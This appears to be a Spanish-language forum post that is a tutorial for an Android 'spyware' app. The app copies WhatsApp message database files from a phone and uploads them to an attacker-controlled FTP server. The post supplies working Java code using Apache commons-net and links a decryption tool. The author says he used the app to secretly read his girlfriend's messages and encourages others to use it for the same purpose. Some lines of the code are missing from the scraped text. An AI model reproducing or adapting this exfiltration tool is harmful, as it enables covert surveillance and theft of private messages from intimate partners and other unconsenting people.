Con esto pretendo hacer mas fácil el trabajo a gente que se vea en mi misma situación o en otra parecida. Quiero aclarar las personas que usen el siguiente codigo lo haran totalmente bajo su responsabilidad.
Pues bien, al turrón:
El Spyware se trata de una pequeña aplicación para android que "coge prestados" los archivos msgstore.db.crypt almacenados en la carpeta del whatsapp/databases.
Posteriormente envía dichos archivos a una servidor FTP, yo he utilizado un servidor público y ha subido toda la base de datos del whatsapp funcionado a la perfección.
Pues bien, tras conseguir dichos archivos tan solo queda utilizar la herramienta escrita en python para descifrar dichos archivos, la cual podemos descargar desde esta misma página.
http://ns2.elhacker.net/Whatsapp_Xtract_V2.1_2012-05-07.zip1- Para realizar la aplicación lo que haremos será utilizar la librería java commons.net que nos proporcionará los métodos necesarios para establecer un cliente y conectarnos a un servidor ftp.
Para añadir la libreria a nuestro proyecto debemos descargarla de aqui:
http://commons.apache.org/net/download_net.cgiy posteriormente desde eclipse, click derecho sobre nuestro proyecto, build path y le damos a add external jars, donde añadiremos los .jar de la libreria descargada.
2- Posteriormente crearemos un flujo de entrada desde los archivos que deseamos coger del dispositivo android, en este caso todos los msgstore.db.crypt que hayan en la carpeta whatsapp/databases, y añadirlos a nuestra carpeta en el servidor ftp.
3- Por último tendremos que crear un nuevo hilo de ejecución y instanciar la clase donde tengamos todo lo del punto 1 y 2. Este nuevo hilo de ejecución es necesario para poder realizar este tipo de conexiones en android.
import java.io.*;
import java.net.InetAddress;
import java.net.SocketException;
import java.net.URL;
import java.net.URLConnection;
import java.nio.channels.FileChannel;
import org.apache.commons.net.ftp.FTP;
import org.apache.commons.net.ftp.FTPClient;
import android.os.Environment;
import android.util.Log;
public class FtpCon {
try {
FTPClient mFTPClient = new FTPClient();
mFTPClient.connect("direccion del servidor", 21);
mFTPClient.login("nombreUsuario","contraseña");
mFTPClient.enterLocalPassiveMode();
mFTPClient.changeWorkingDirectory("directorio ftp para trabajar");
mFTPClient.setFileType(FTPClient.BINARY_FILE_TYPE);// este metodo "setTypeFile(BINARY_FILE_TYPE)" es muy importante para que el archivo se envie correctamente
Log.d("Working Directory", mFTPClient.printWorkingDirectory());
Log.d("Error", "No hay almacenamiento externo montado");
} else {
File ruta
= new File(externalDir.
getAbsolutePath()+File.
separator+"WhatsApp"+File.
separator+"Databases"); String [] filenames
= ruta.
list(); if (filenames != null) {
for (int i = 0; i< filenames.length; i++) {
try {
mFTPClient.storeFile("msgstore.db.crypt"+i, is);
Log.d("Error", "Se ha producido un error! "+e.getMessage());
}
}
}
mFTPClient.logout();
Log.d("OK", "Enviado con exito");
Log.d(":(", e.getMessage());
}
}
}
Tan solo tenemos que poner la dirección del servidor, el nombre de usuario, la contraseña y la carpeta con la que queremos trabajar en nuestro servidor.
Para que esto funcione, creamos una aplicacion sencilla en android que por ejemplo tenga un botón, y que al pulsar ese boton se ejecute el código anterior, tal y como está escrito a mi me ha funcionado sin problemas, bueno a parte de los problemas que me está causando el leer los mensajes del whatsapp de mi novia..toda una decepción, y como consejo si alguien quiere utilizarlo con este mismo fin, mucho cuidado porque seguro que veis cosa que desearíais no haber visto!
Bueno retomando el tema y para ir finalizando: el pequeño trozo de código que he utilizado para crear un nuevo hilo de ejecución y instanciar la clase FtpCon. Este código lo he metido dentro del método onClick() que le he asignado a un botón que he puesto en medio de la pantalla, pero podeis ponerlo donde querais, siempre y cuando se vaya a ejecutar, exceptuando en el merodo onCreate().
public void run() {
try {
FtpCon con = new FtpCon();
// TODO Auto-generated catch block
e.printStackTrace();
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}).start();
Bueno espero que esto os sirva de ayuda a todos aquellos que lo necesiteis. Un Saludo!